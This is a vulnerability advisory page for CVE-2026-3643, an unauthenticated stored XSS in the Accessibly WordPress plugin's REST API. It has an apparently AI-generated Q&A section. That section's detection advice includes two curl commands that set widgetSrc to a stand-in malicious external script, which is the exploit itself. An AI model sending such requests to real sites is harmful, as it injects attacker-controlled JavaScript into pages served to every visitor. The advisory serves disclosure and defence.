CVE-2026-3643
Received Received - Intake
Stored XSS in Accessibly WordPress Plugin via Unauthenticated REST API

Publication date: 2026-04-15

Last updated on: 2026-04-15

Assigner: Wordfence

Description
The Accessibly plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the REST API in all versions up to, and including, 3.0.3. The plugin registers REST API endpoints at `/otm-ac/v1/update-widget-options` and `/otm-ac/v1/update-app-config` with the `permission_callback` set to `__return_true`, which means no authentication or authorization check is performed. The `updateWidgetOptions()` function in `AdminApi.php` accepts user-supplied JSON data and passes it directly to `AccessiblyOptions::updateAppConfig()`, which saves it to the WordPress options table via `update_option()` without any sanitization or validation. The stored `widgetSrc` value is later retrieved by `AssetsManager::enqueueFrontendScripts()` and passed directly to `wp_enqueue_script()` as the script URL, causing it to be rendered as a `<script>` tag on every front-end page. This makes it possible for unauthenticated attackers to inject arbitrary JavaScript that executes for all site visitors by changing the `widgetSrc` option to point to a malicious external script.
CVSS Scores
EPSS Scores
Probability:
Percentile:
Meta Information
Published
2026-04-15
Last Modified
2026-04-15
Generated
2026-05-07
AI Q&A
2026-04-16
EPSS Evaluated
2026-05-05
NVD
EUVD
Affected Vendors & Products
Showing 1 associated CPE
Vendor Product Version / Range
accessibly accessibly to 3.0.3 (inc)
Helpful Resources
Exploitability
CWE
CWE Icon
KEV
KEV Icon
CWE ID Description
CWE-79 The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
Attack-Flow Graph
AI Powered Q&A
How does this vulnerability affect compliance with common standards and regulations (like GDPR, HIPAA)?:

The vulnerability allows unauthenticated attackers to inject arbitrary JavaScript into all front-end pages of a WordPress site using the Accessibly plugin. This could lead to unauthorized access to user data or manipulation of site content.

Such unauthorized script injection can compromise the confidentiality and integrity of user data, potentially violating data protection requirements under standards like GDPR and HIPAA.

Specifically, the lack of authentication and validation in the REST API endpoints could allow attackers to exfiltrate personal data or perform actions on behalf of users without consent, which conflicts with compliance obligations for protecting sensitive information.


How can this vulnerability impact me? :

This vulnerability allows unauthenticated attackers to inject malicious JavaScript into a WordPress site using the Accessibly plugin.

The injected script runs on every page viewed by site visitors, potentially leading to theft of user data, session hijacking, defacement, or distribution of malware.

Because the attack requires no authentication, it can be exploited by anyone, increasing the risk and impact.


Can you explain this vulnerability to me?

The Accessibly plugin for WordPress has a Stored Cross-Site Scripting (XSS) vulnerability via its REST API in all versions up to and including 3.0.3.

The plugin exposes REST API endpoints that do not require any authentication or authorization, allowing anyone to send data.

Specifically, the plugin accepts user-supplied JSON data and saves it directly into the WordPress options table without sanitization or validation.

This stored data is later used to inject a script tag on every front-end page, enabling attackers to inject arbitrary JavaScript that executes for all site visitors.


How can this vulnerability be detected on my network or system? Can you suggest some commands?

This vulnerability can be detected by checking if the vulnerable Accessibly plugin version (up to 3.0.3) is installed and by inspecting the WordPress REST API endpoints `/otm-ac/v1/update-widget-options` and `/otm-ac/v1/update-app-config` for unauthorized access.

Since the endpoints have no authentication, you can test them by sending crafted JSON payloads to these endpoints to see if the `widgetSrc` option can be updated without authentication.

Example commands using curl to test the endpoints might be:

  • curl -X POST https://yourwordpresssite.com/wp-json/otm-ac/v1/update-widget-options -d '{"widgetSrc":"http://malicious.example.com/script.js"}' -H "Content-Type: application/json"
  • curl -X POST https://yourwordpresssite.com/wp-json/otm-ac/v1/update-app-config -d '{"widgetSrc":"http://malicious.example.com/script.js"}' -H "Content-Type: application/json"

Additionally, you can check the WordPress options table for the `widgetSrc` value to see if it points to an unexpected or malicious external script.


What immediate steps should I take to mitigate this vulnerability?

Immediate mitigation steps include:

  • Update the Accessibly plugin to a version later than 3.0.3 where this vulnerability is fixed.
  • If an update is not immediately possible, restrict access to the vulnerable REST API endpoints by implementing authentication or firewall rules to block unauthenticated requests to `/wp-json/otm-ac/v1/update-widget-options` and `/wp-json/otm-ac/v1/update-app-config`.
  • Manually inspect and clean the `widgetSrc` option in the WordPress options table to remove any malicious script URLs.
  • Monitor your site for suspicious JavaScript execution or unexpected external script loads.

Ask Our AI Assistant
Need more information? Ask your question to get an AI reply (Powered by our expertise)
0/70
EPSS Chart